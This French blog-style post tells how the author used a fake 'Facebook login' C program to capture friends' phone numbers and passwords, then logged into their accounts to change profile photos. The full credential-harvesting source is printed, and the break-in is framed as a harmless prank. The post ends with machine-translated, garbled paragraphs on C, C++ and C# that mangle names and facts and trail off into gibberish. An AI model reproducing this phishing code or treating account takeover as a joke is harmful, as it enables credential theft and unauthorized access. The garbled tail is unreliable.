C-razy Facebook Hack : Comment j'ai fait une blague à mon ami
C'était ma première année d'université et nous travaillions tous dans le laboratoire Python. Mes amis, qui ne s’y connaissaient pas vraiment en informatique, semblaient être des cibles idéales pour une farce inoffensive. Ils étaient excités mais n’avaient aucune idée des choses techniques que je faisais. J’ai vu une opportunité de m’amuser un peu, sachant qu’ils tomberaient dans le piège parce qu’ils ne connaissaient pas grand-chose en programmation.
Le plan directeur
Je voulais jouer un tour à mes amis pour leur montrer à quel point la programmation C est puissante. Mais ce n'était qu'une blague ! Voici comment j'ai procédé :
Création du faux programme : J'ai écrit un simple programme C qui ressemblait à un outil de connexion Facebook. Mais ce n'était qu'un truc. Le programme leur demanderait leur nom d'utilisateur et leur mot de passe Facebook, puis dirait « Facebook est en panne » !
Jouer la farce : J'ai exécuté le programme devant mes amis, et ils ont tapé leurs numéros de téléphone et leurs mots de passe. J'ai agi comme si j'essayais de résoudre le problème, mais j'essayais vraiment de ne pas rire.
La grande révélation : Après le départ de mes amis, j'ai ouvert le fichier dans lequel j'avais enregistré leurs informations de connexion. Je l'ai utilisé pour me connecter à leurs comptes Facebook et changer leurs photos de profil en quelque chose de vraiment embarrassant et drôle. Même moi, je n'ai pas pu m'empêcher de rire !
Le programme
Voici le code malicieux que j’ai utilisé pour la farce. Avertissement : Ceci est uniquement à des fins de divertissement !
#include <stdio.h> int main() { char phoneNumber[50]; char password[50]; FILE *file; // Open the file to store credentials file = fopen("credentials.txt", "a"); if (file == NULL) { printf("Error opening file!\n"); return 1; } // Ask for user details printf("Welcome to the Facebook Login Tool!\n"); printf("Please enter your phone number: "); fgets(phoneNumber, 50, stdin); printf("Please enter your password: "); fgets(password, 50, stdin); // Store the credentials in a file fprintf(file, "Phone Number: %s", phoneNumber); fprintf(file, "Password: %s", password); // Close the file fclose(file); // Display a fake error message printf("Unable to reach Facebook at the moment. Please try again later.\n"); return 0; }
Que s'est-il passé ensuite
Le lendemain, mes amis sont venus à l'université et m'ont dit que leurs profils Facebook avaient été modifiés pour les montrer dans des costumes idiots ou des photos amusantes. Ils étaient choqués et peu effrayés.
Ils m'ont dit que leurs comptes avaient été piratés. Mais après quelques plaisanteries et quelques taquineries, je leur ai finalement dit la vérité : c'était moi qui avais fait cela comme une farce. Nous avons tous bien ri ensemble et la fête a pris fin.
La leçon
Voici la partie importante : ne faites pas ça à la maison. Même si ma farce était juste pour m'amuser, jouer avec les informations personnelles des gens n'est pas acceptable. Il est important de respecter la vie privée des gens et d'utiliser vos compétences en codage de manière judicieuse.
Le point principal
Si vous voulez faire une farce, assurez-vous qu'elle est inoffensive et qu'elle fait sourire tout le monde. Utilisez vos compétences en codage pour de bonnes choses et gardez vos farces légères. N'oubliez pas qu'il y a une limite entre être drôle et être méchant en ligne.
Bon codage, et que vos farces soient amusantes et inoffensives !
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L'histoire et l'évolution de C # et C sont uniques, et les perspectives d'avenir sont également différentes. 1.C a été inventé par Bjarnestrousstrup en 1983 pour introduire une programmation orientée objet dans le langage C. Son processus d'évolution comprend plusieurs normalisations, telles que C 11, introduisant des mots clés automobiles et des expressions de lambda, C 20 introduisant les concepts et les coroutines, et se concentrera sur les performances et la programmation au niveau du système à l'avenir. 2.C # a été publié par Microsoft en 2000. Combinant les avantages de C et Java, son évolution se concentre sur la simplicité et la productivité. Par exemple, C # 2.0 a introduit les génériques et C # 5.0 a introduit la programmation asynchrone, qui se concentrera sur la productivité et le cloud computing des développeurs à l'avenir.

Il existe des différences significatives dans les courbes d'apprentissage de l'expérience C # et C et du développeur. 1) La courbe d'apprentissage de C # est relativement plate et convient au développement rapide et aux applications au niveau de l'entreprise. 2) La courbe d'apprentissage de C est raide et convient aux scénarios de contrôle haute performance et de bas niveau.

C interagit avec XML via des bibliothèques tierces (telles que TinyXML, PUGIXML, XERCES-C). 1) Utilisez la bibliothèque pour analyser les fichiers XML et les convertir en structures de données propices à C. 2) Lors de la génération de XML, convertissez la structure des données C au format XML. 3) Dans les applications pratiques, le XML est souvent utilisé pour les fichiers de configuration et l'échange de données afin d'améliorer l'efficacité du développement.

L'application de l'analyse statique en C comprend principalement la découverte de problèmes de gestion de la mémoire, la vérification des erreurs de logique de code et l'amélioration de la sécurité du code. 1) L'analyse statique peut identifier des problèmes tels que les fuites de mémoire, les doubles versions et les pointeurs non initialisés. 2) Il peut détecter les variables inutilisées, le code mort et les contradictions logiques. 3) Les outils d'analyse statique tels que la couverture peuvent détecter le débordement de tampon, le débordement entier et les appels API dangereux pour améliorer la sécurité du code.

C a toujours une pertinence importante dans la programmation moderne. 1) Les capacités de fonctionnement matériel et directes en font le premier choix dans les domaines du développement de jeux, des systèmes intégrés et de l'informatique haute performance. 2) Les paradigmes de programmation riches et les fonctionnalités modernes telles que les pointeurs intelligents et la programmation de modèles améliorent sa flexibilité et son efficacité. Bien que la courbe d'apprentissage soit raide, ses capacités puissantes le rendent toujours important dans l'écosystème de programmation d'aujourd'hui.

L'utilisation de la bibliothèque Chrono en C peut vous permettre de contrôler plus précisément les intervalles de temps et de temps. Explorons le charme de cette bibliothèque. La bibliothèque Chrono de C fait partie de la bibliothèque standard, qui fournit une façon moderne de gérer les intervalles de temps et de temps. Pour les programmeurs qui ont souffert de temps et ctime, Chrono est sans aucun doute une aubaine. Il améliore non seulement la lisibilité et la maintenabilité du code, mais offre également une précision et une flexibilité plus élevées. Commençons par les bases. La bibliothèque Chrono comprend principalement les composants clés suivants: std :: chrono :: system_clock: représente l'horloge système, utilisée pour obtenir l'heure actuelle. std :: chron

L'avenir de C se concentrera sur l'informatique parallèle, la sécurité, la modularisation et l'apprentissage AI / Machine: 1) L'informatique parallèle sera améliorée par des fonctionnalités telles que les coroutines; 2) La sécurité sera améliorée par le biais de mécanismes de vérification et de gestion de la mémoire plus stricts; 3) La modulation simplifiera l'organisation et la compilation du code; 4) L'IA et l'apprentissage automatique inviteront C à s'adapter à de nouveaux besoins, tels que l'informatique numérique et le support de programmation GPU.

C isnotdying; il se révolte.1) C reste réévèreurtoitSversatity et effecciation en termes
